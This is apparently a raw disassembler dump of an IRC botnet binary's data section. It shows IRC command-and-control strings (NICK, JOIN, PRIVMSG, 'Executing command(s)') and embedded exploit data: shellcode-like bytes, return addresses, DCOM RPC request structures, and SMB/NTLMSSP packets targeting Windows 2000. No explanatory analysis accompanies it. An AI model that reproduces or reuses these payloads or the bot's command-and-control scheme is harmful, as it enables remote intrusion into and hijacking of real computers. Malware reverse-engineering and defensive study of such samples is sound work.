		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 12EA0h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 4DC8A28h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 4D38h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 22710E8h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 99C3EAA0h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 261D51F8h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 260A0h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 1371D1F8h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 135E8h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 0E7606A0h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 18820E30h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 18788h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 4CBE20h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
					; cAddress:0041BD98o
		align 4
dword_419898	dd 0E7AAB82Ch		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 158F28h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 0FF28h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 5B7606ABh		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 26C9788h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 48B0h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 4CEEE8h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 0ECE0h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 0DC9BA4F1h		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 8A248h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 2D77B5A0h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 10468h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 12BBA0h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 1471A0h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
aModeS		db 'MODE %s',0          ; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 8BD28h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 1277AE62h		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
off_419A7C	dd offset loc_410DB7+1	; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 2DCF8h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 4688368h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 123B8h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 4C2338h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
aPartS		db 'PART %s',0          ; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 1265A0h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 0C0AB0h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
		align 4
dword_419ADC	dd 0A6CB0h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 5AF4DA8h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 8085E8h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 4CD168h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 0CEF58D2Ch		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 2DB260E0h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 90BBA32Ch		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 48489E0h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 1246E8h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 0DFBD949h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
off_419BA4	dd offset loc_40E3E0	; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 293E0h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 0E426671h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 0E04A6C27h		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 2BBDB0A9h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 86670h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 23C76670h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 4CBE670h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 2577B5A0h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 4C38h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 123F0AA8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 289D4860h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 28A446E8h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 5E9DD92Bh		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 5E9E29C3h		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 489DAC36h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 29A560E1h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 9A060h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 69F334E0h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 14EFBCE0h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 0A7768h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 0B4768h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 43B8h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 0ACh, 0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh
					; DATA XREF: sub_40A9CF+790o
		dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0)
dword_419DB0	dd 3115E88h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 0B12C0878h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 0EE5AD128h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
aALSsSCJEKi	db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o
		align 4
		dd 0
dword_419DFC	dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: sub_40A9CF+437o
		dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h
		dd 0A087E5A6h, 2 dup(0)
dword_419E48	dd 24648h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 29A012A1h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 29A0C6E9h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 0FDD9520h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 25219520h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 407D28h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 47B91A8h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
aNickS		db 'NICK %s',0          ; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 132330h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 3677C869h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: cAddress:0040C9C4o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: cAddress:0040C96Co
					; cAddress:0040C9F1o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
aMessage	db 'message ',0         ; DATA XREF: sub_40D53F:loc_40D629o
		align 4
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
		dd 5C28F5C3h, 400DC28Fh, 5 dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
		dd 5C28F5C3h, 400DC28Fh, 5 dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
aAjAj		db '!^J!^J',0
		align 4
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		dd 2 dup(7FFDE0CCh), 0
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
a__		db 0Dh,0Ah		; DATA XREF: cAddress:004106A2o
					; cAddress:00410B61o
		db '\_/.',0
		align 10h
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: cAddress:00410658o
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	cAddress:004107CAo
dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: cAddress:004107F6o
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: cAddress:00410ABEo
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
dword_41A894	dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFh ; DATA XREF: cAddress:0041079Co
dword_41A8A0	dd 530458Bh, 0FFFFFB24h, 0E0FFh	; DATA XREF: cAddress:0041072Eo
dword_41A8AC	dd 19EB10EBh, 0		; DATA XREF: cAddress:0041084Bo
dword_41A8B4	dd 0FFFF04EBh, 0FFFFh	; DATA XREF: cAddress:00410924o
dword_41A8BC	dd 4EB04EBh, 0		; DATA XREF: cAddress:00410979o
dword_41A8C4	dd 0FFFF04EBh, 0FFFFh	; DATA XREF: cAddress:004109CEo
off_41A8CC	dd offset loc_41005C	; DATA XREF: cAddress:00410A92o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: cAddress:004108A3o
dword_41A8DC	dd 7FFDE0EBh		; DATA XREF: cAddress:004108CFo
dword_41A8E0	dd 18759Fh		; DATA XREF: cAddress:00410877o
dword_41A8E4	dd 1001C59h		; DATA XREF: cAddress:00410786o
dword_41A8E8	dd 1B0B0Bh		; DATA XREF: cAddress:0041075Ao
dword_41A8EC	dd 6EBh			; DATA XREF: cAddress:00410770o
dword_41A8F0	dd 0F4EBh, 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: cAddress:00410744o
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
